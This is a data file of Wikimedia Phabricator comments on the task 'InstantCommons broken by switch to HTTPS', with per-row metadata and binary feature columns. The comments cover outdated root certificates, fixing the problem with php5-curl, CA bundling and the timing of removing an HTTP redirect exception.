+Can you install the php5-curl package, restart your webserver and see how things get on?",,,1435495208,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,0
+483161,InstantCommons broken by switch to HTTPS,"Hello to everyone! This is my first post here. I am an administrator of one wikiproject. I had set InstantCommons true in Localsettings.php and my wiki was showing Commons files correctly. After this http to https change InstantCommons is not working in my wiki anymore. Only red links of images are shown. I have searched for solutions and tried to solve this problem but still unsuccessfully. I have read this topic several times but mostly I can't understand what you are talking about. I have Ubuntu 14.04.2, PHP 5.5.9, Mediawiki 1.23.3 versions, SSH access via command line and FileZilla.
+
+Is the problem in outdated certificates? Anyways, can someone explain how to solve this issue and get InstantCommons working again so that ordinary people also can understand it?",,,1435494097,,PHID-USER-po472mkbnyu6lcw2mj3x,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-1,True,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+483095,InstantCommons broken by switch to HTTPS,"I was recently playing around with amazon's cloud stuff. And I tried installing mediawiki. Much to my surprise instant commons is broken.
+
+Apparently, the default php you get from apt-get install php5 (5.5.9-1ubuntu4.9), does not have the necessary certs (Or something else was wrong with fopen wrappers for https, but openssl extension was installed so I think certs is most likely issue). Anyways, main point is it didn't work out of the box. I didn't investigate for very long until installing php5-curl which fixed things. But we want instant commons to just work even if the administrator does not know what they are doing.
+
+>>! In T102566#1384154, @faidon wrote:
+> Finally, this is not even end-users, these are users *running MediaWiki*. To draw a comparison, the CA has been in operating systems' CA stores since the time PHP 4 was new and was all the rage :)  Surely we have to draw the line of where the oldest base system we support running MediaWiki on is and that line is certainly not a system running PHP 4. Right? :)
+
+A large portion of our install base are not sophisticated sysadmins. Given the support questions that get asked on irc, often its lucky if the user even knows what the phrase ""ssh into the server and do X"" means. I'm not worried about old versions, I'm worried about versions that are commonly in use right now
+
+You make fair points about distributing ssl certs being  a bad idea, though. ",,,1435458445,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1
+481809,InstantCommons broken by switch to HTTPS,">>! In T102566#1400166, @hashar wrote:
+>>>! In T102566#1399147, @Legoktm wrote:
+>> 
+>> Today @Krinkle and I discovered that using homebrew's python on OSX does not have the right certs installed, resulting in:
+>> ...
+>> I found <https://github.com/Homebrew/homebrew/issues/39870> which seemed to explain what's going on.
+> 
+> That works for me. You might want to reinstall the brew versions of openssl and python.
+
+Already did that. Fresh install from Homebrew of python (2.7.10), and openssl (openssl 1.0.2c). The error remains.
+
+Most likely this is because there are some outdated root certificates OS X has lying around. Python v2.7.9 introduced stricter checking of certificates. When using the default Mac python (2.7.6) it works fine, because it doesn't do the strict checking. However with the old Python, installing JJB doesn't work well due to conflicting base packages. It works in a virtualenv though, so I did that for now.",,,1435252232,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1
+481549,InstantCommons broken by switch to HTTPS,">>! In T102566#1399147, @Legoktm wrote:
+> 
+> Today @Krinkle and I discovered that using homebrew's python on OSX does not have the right certs installed, resulting in:
+> ...
+> I found <https://github.com/Homebrew/homebrew/issues/39870> which seemed to explain what's going on.
+
+That works for me. You might want to reinstall the brew versions of openssl and python.",,,1435235469,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,1,1,0,0,1
+481381,InstantCommons broken by switch to HTTPS,">>! In T102566#1384154, @faidon wrote:
+> Our CA for production is GlobalSign. It is one of the big (in terms of websites using it) and oldest CAs. The top-most root certificate of our chain was issued in 1998 and has been in operating systems and browsers for at least 15 years now. GlobalSign has [[ https://www.globalsign.com/en-sg/resources/datasheet-root-compatibility.pdf | a datasheet ]] detailing their compatibility (ignore the first ""Extended Validation"" section; we don't use that). The compatibility includes browsers such as MSIE 5.01+, all versions ever released of Firefox, Google Chrome and Safari (not to mention Netscape Communicator 4.51+!) plus all versions of mobile phone browsers ever since Windows CE 4.0. I would very much like to hear in which CA stores is this actually a problem and for how many users.
+
+Today @Krinkle and I discovered that using homebrew's python on OSX does not have the right certs installed, resulting in:
+```
+Python 2.7.10 (default, May 26 2015, 13:01:57)
+[GCC 4.2.1 Compatible Apple LLVM 6.1.0 (clang-602.0.53)] on darwin
+Type ""help"", ""copyright"", ""credits"" or ""license"" for more information.
+>>> import urllib2
+>>> urllib2.urlopen('https://commons.wikimedia.org/w/api.php')
+Traceback (most recent call last):
+  File ""<stdin>"", line 1, in <module>
+  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 154, in urlopen
+    return opener.open(url, data, timeout)
+  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 431, in open
+    response = self._open(req, data)
+  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 449, in _open
+    '_open', req)
+  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 409, in _call_chain
+    result = func(*args)
+  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 1240, in https_open
+    context=self._context)
+  File ""/usr/local/Cellar/python/2.7.10/Frameworks/Python.framework/Versions/2.7/lib/python2.7/urllib2.py"", line 1197, in do_open
+    raise URLError(err)
+urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:590)>
+```
+I found <https://github.com/Homebrew/homebrew/issues/39870> which seemed to explain what's going on.",,,1435214168,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-1,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1
+481102,InstantCommons broken by switch to HTTPS,"That's 6 years ago, yeah pretty long.
+
+Also, it never supported InstantCommons, so who cares about PHP4 at all?",,,1435180435,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+481059,InstantCommons broken by switch to HTTPS,"1.6.12 was in 2009, not that long ago. ;)",,,1435177810,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+479048,InstantCommons broken by switch to HTTPS,">>! In T102566#1385611, @Nemo_bis wrote:
+>> Surely we have to draw the line of where the oldest base system we support running MediaWiki on is and that line is certainly not a system running PHP 4. Right? :)
+> 
+> I wouldn't give it for granted. At least WikiApiary statistics should be checked, there are probably thousands of wikis running on PHP 4.
+>
+
+Lucky for us we dropped PHP4 years ago...prior to InstantCommons even existing.",,,1434982784,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1
+478656,InstantCommons broken by switch to HTTPS,"> Surely we have to draw the line of where the oldest base system we support running MediaWiki on is and that line is certainly not a system running PHP 4. Right? :)
+
+I wouldn't give it for granted. At least WikiApiary statistics should be checked, there are probably thousands of wikis running on PHP 4.
+
+Anyway, I just wanted to say: whatever the conclusion is on what's the way to use InstantCommons, please remember to update https://www.mediawiki.org/wiki/InstantCommons well before that way is made mandatory (by breaking the other ways).",,,1434871484,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,0
+478520,InstantCommons broken by switch to HTTPS,">>! In T102566#1383626, @Tgr wrote:
+> [snip] we need a drop-in fix for people who are on old/weird OSes and want to get InstantCommons working without taking a course in system administration. Manually changing the root CAs of your OS can be quite difficult.
+
+No we should not bother trying to keep MediaWiki running on platforms that are totally outdated.  In the case one wants to benefit from InstantCommons / interacts with our sites with SSL, he will have to upgrade. Period.
+
+As for IE6, it is all hopeless and MicroSoft campaigned heavily to phase it out (ex: http://browseryoulovedtohate.com/ ).",,,1434790996,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+478376,InstantCommons broken by switch to HTTPS,"@Tgr that's because we don't speak the SSLv3 protocol anymore, because of the [[ https://en.wikipedia.org/wiki/POODLE | POODLE ]] attack in late 2014.  If it weren't for that, IE6 would be compatible on a certificate level.",,,1434756755,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,1
+478374,InstantCommons broken by switch to HTTPS,@faidon: fair enough (although https://www.ssllabs.com/ssltest/analyze.html?d=en.wikipedia.com claims IE6 is not compatible).,,,1434756255,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0
+478317,InstantCommons broken by switch to HTTPS,"Our CA for production is GlobalSign. It is one of the big (in terms of websites using it) and oldest CAs. The top-most root certificate of our chain was issued in 1998 and has been in operating systems and browsers for at least 15 years now. GlobalSign has [[ https://www.globalsign.com/en-sg/resources/datasheet-root-compatibility.pdf | a datasheet ]] detailing their compatibility (ignore the first ""Extended Validation"" section; we don't use that). The compatibility includes browsers such as MSIE 5.01+, all versions ever released of Firefox, Google Chrome and Safari (not to mention Netscape Communicator 4.51+!) plus all versions of mobile phone browsers ever since Windows CE 4.0. I would very much like to hear in which CA stores is this actually a problem and for how many users.
+
+Moreover, a CA store that is so old probably has at least a few compromised CAs (e.g. DigiNotar) and those users should definitely take a course in system administration or consult their sysadmin.
+
+Finally, this is not even end-users, these are users *running MediaWiki*. To draw a comparison, the CA has been in operating systems' CA stores since the time PHP 4 was new and was all the rage :)  Surely we have to draw the line of where the oldest base system we support running MediaWiki on is and that line is certainly not a system running PHP 4. Right? :)",,,1434751553,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+478206,InstantCommons broken by switch to HTTPS,"> Just tell people to trust their OS' CA store, anything else is just insecure.
+
+Telling people to trust their built-in CA store when it does not work with Commons is not exactly helpful. I agree we shouldn't mess with the root CA list by default, but we need a drop-in fix for people who are on old/weird OSes and want to get InstantCommons working without taking a course in system administration. Manually changing the root CAs of your OS can be quite difficult.",,,1434741455,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+477982,InstantCommons broken by switch to HTTPS,">>! In T102566#1381359, @Bawolff wrote:
+> Alternatively, we could bundle https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt (or even just GlobalSign) and set caInfo option of our HTTP wrapper ourselves.
+
+No, don't do that. Maintaining a CA store is serious business and we don't to be in that business (even in a role of republishing another person's CA store). Just tell people to trust their OS' CA store, anything else is just insecure.",,,1434722497,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,0,1,1,1,0,0,1
+477834,InstantCommons broken by switch to HTTPS,"Alternatively, we could bundle https://raw.githubusercontent.com/bagder/ca-bundle/master/ca-bundle.crt (or even just GlobalSign) and set caInfo option of our HTTP wrapper ourselves.",,,1434695586,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+477832,InstantCommons broken by switch to HTTPS,"PHP on windows is probably a likely offender.
+
+Anyways, php has a config option to point to a root CA store (assuming you are using libcurl, which we normally due if that's available), so its fairly easy to just tell people to download the new root CA store and/or upgrade php.",,,1434694180,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+477810,InstantCommons broken by switch to HTTPS,"Yeah, I don't know that we can do anything about the ""old certs"" issue.  It probably means that whatever underlying SSL cert-store/client-lib the client uses is severely out of date.  I think we had some talk on this earlier (maybe just on irc), that it mostly affected some older Windows installations?  In any case, the root cert we use is compatible a cross a broad range of browsers and SSL library/cert installations in general, even back to things like IE8 on WinXP (technically IE6 even in cert terms, but that's broken due to SSLv3).  I think it's fair to blame the client end and ask them to fix/upgrade if they don't have the GlobalSign root at this point.",,,1434684058,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0
+477793,InstantCommons broken by switch to HTTPS,"HTTPS redirect for upload.wikimedia.org breaks images for some people who have old root certs - just got a report on IRC. (Strangely, disabling the thumbnail cache did not fix this.) Made worse by lack of logging - T103043",,,1434678793,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-2,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0
+476940,InstantCommons broken by switch to HTTPS,"Change 219094 merged by BBlack:
+HTTPS: remove MW-UA redirect exception for upload.wm.o
+
+[[https://gerrit.wikimedia.org/r/219094]]",,,1434590340,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+476873,InstantCommons broken by switch to HTTPS,"Change 219094 had a related patch set uploaded (by BBlack):
+HTTPS: remove MW-UA redirect exception for upload.wm.o
+
+[[https://gerrit.wikimedia.org/r/219094]]
+",,,1434583442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+476664,InstantCommons broken by switch to HTTPS,"Change 218819 merged by jenkins-bot:
+Make $wgUploadPath for commons https only for benefit instant commons
+
+[[https://gerrit.wikimedia.org/r/218819]]",,,1434566750,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+476121,InstantCommons broken by switch to HTTPS,">>! In T102566#1372767, @gerritbot wrote:
+> Change 218819 had a related patch set uploaded (by Brian Wolff):
+> Make $wgUploadPath for commons https only for benefit instant commons
+> 
+> [[https://gerrit.wikimedia.org/r/218819]]
+
+This patch just changes wgUploadPath, which would allow upload.wikimedia.org to be transitioned. Even with this patch, the larger issue with commons remains.",,,1434519206,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,1,1,1,0,0,1,0,1
+476119,InstantCommons broken by switch to HTTPS,"Change 218819 had a related patch set uploaded (by Brian Wolff):
+Make $wgUploadPath for commons https only for benefit instant commons
+
+[[https://gerrit.wikimedia.org/r/218819]]
+",,,1434519135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+476118,InstantCommons broken by switch to HTTPS,"> 
+> Not a bad idea. I'm not entirely convinced this change needs a release (although it should be ported to all supported branches)...just very wide announcement and the promise that the next release(s) will contain the fix automatically.
+> 
+I strongly feel that we should have fixed versions of MediaWiki out before removing the user-agent exception. If we don't want this to trigger a release, then the exception for the MediaWiki user-agent should stay in place until after whenever the next release goes out.
+",,,1434518780,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+476115,InstantCommons broken by switch to HTTPS,"For upload.wikimedia.org. I believe you can remove the exception provided that $wgUploadPath has https specificly in the url (Not protocol relative like it is currently. The feature should use the url and thumburl parameter from the api, which should follow the $wgUploadPath variable).
+
+
+We should probably have some announcement of this behaviour change too. Some wikis do the same thing as instantcommons, but for enwikipedia (if they want Fair use images). That's not an as ""officially"" supported config, so its fine we're breaking it, but it may be good to post something about it on mediawiki-announce.",,,1434517470,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+476106,InstantCommons broken by switch to HTTPS,">>! In T102566#1371839, @Krenair wrote:
+> @greg, @demon: should we have something on mediawiki-announce about this?
+
+Not a bad idea. I'm not entirely convinced this change needs a release (although it should be ported to all supported branches)...just very wide announcement and the promise that the next release(s) will contain the fix automatically.
+
+>>! In T102566#1371535, @BBlack wrote:
+> Can we get an idea on what a ""reasonable"" timeframe is to let users pick up the necessary changes?
+
+Once the patch has landed in all branches and an announcement goes out...like 2-3 weeks so people can't say we didn't warn them? :)",,,1434510876,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,1,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1
+475965,InstantCommons broken by switch to HTTPS,"@faidon @bblack do we have any system to track usage of the VCL rule exemption [[https://gerrit.wikimedia.org/r/#/c/218594/2/modules/varnish/templates/vcl/wikimedia.vcl.erb,unified | gerrit 21894 ]]? Would be great to see the hits of user agents directly hitting http://  and would let us remove it eventually.",,,1434489733,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,0,1
+475962,InstantCommons broken by switch to HTTPS,"Apparently ForeignAPIRepo does not follow redirects, on purposes since it can be a vector of attack.
+
+#releng I guess we want to release some new minor versions of MediaWiki since the $wgForeignFileRepos entry can't be trivially fixed via LocalSettings.php.",,,1434489479,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ol3sysyye6zvepfewmrh,task_subcomment,,True,c3,2,True,,,-3,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
